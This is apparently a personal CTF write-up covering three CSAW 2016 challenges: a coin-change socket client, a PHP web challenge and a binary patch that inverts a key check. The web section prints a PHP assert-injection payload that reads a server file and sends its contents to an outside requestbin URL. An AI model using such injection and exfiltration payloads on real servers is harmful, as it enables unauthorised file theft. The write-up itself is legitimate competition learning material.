Over the weekend, I worked with the team Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here I’m going to document the problems that I solved during the competition.
Coinslot
For 25 points, the objective of this problem is to output which coins/bills are needed for a given amount of money. When you connect to the server, it will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To do this, I wrote a Python client to interact with the server.
import socket
s = socket.socket()
s.connect((“misc.chal.csaw.io”, 8000))
def recv(end=’\n’):
c, t = ‘’, ‘’
while c != end:
c = s.recv(1)
t += c
return t
This code will open a connection to the server and read input until a certain character is reached. The algorithm for this problem is rather simple; starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this:
r = recv()
amt = int(r.strip(“$”).strip().replace(“.”, “”))
print amt
for denom in denoms:
n = amt // denom
s.send(“%d\n” % n)
amt %= denom
recv()
Upon success, the server will then ask another
amount. I didn’t keep track of how many times it asked, but I wrapped the above code in a while True
loop and eventually I got the flag.
mfw
In this challenge we were presented with a site
with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and
Bootstrap. Upon seeing git, I immediately thought to check if the .git
folder was actually stored in the www root, and it was!
I ripped the git folder off the site and cloned it to restore the original folder structure.
There was a flag.php
in the templates folder, but the actual flag was
missing. That means I had to retrieve the flag from the actual server.
From the way the navigation bar was constructed,
it looks like I need to use local file inclusion. But I couldn’t use php’s base64
filter to print the contents of flag.php
because the $file
variable will stick ”templates/” to the front of the
given page before it’s require_once
’d.
The trick to solving this one is injecting PHP
commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead,
I made a requestbin that I would make
a GET request to, containing the contents of flag.php
!
The page I requested was:
http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27
Un-URL encoded, this looks like:
flag’ + fopen(‘http://requestb.in/1l5k31z1?p=' . urlencode(file_get_contents(‘templates/flag.php’)), ‘r’) + ‘
As you can see, I’m reading the contents of
flag.php
, URL-encoding it, and sending it to this
requestbin. This way, I can retrieve it from the requestbin later.
Gametime
I got this close to the end of the competition, but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it on a server, this means I could just patch the binary file and re-run it.
I opened the exe in IDA, and used Alt+T to
search for UDDER FAILURE
, the string it prints when you
fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the
actual thing.
In both instances, right above where it prints
UDDER FAILURE
, there is a jnz
that checks if the key you pressed was right. More
specifically, this occurs at 004014D5
and 00401554
. To invert the condition, I had to change jnz
to jz
.
In opcodes, that’s 75
and 74
.
Then I just ran the program again, and waited for it to pass all the checks, and I got the flag!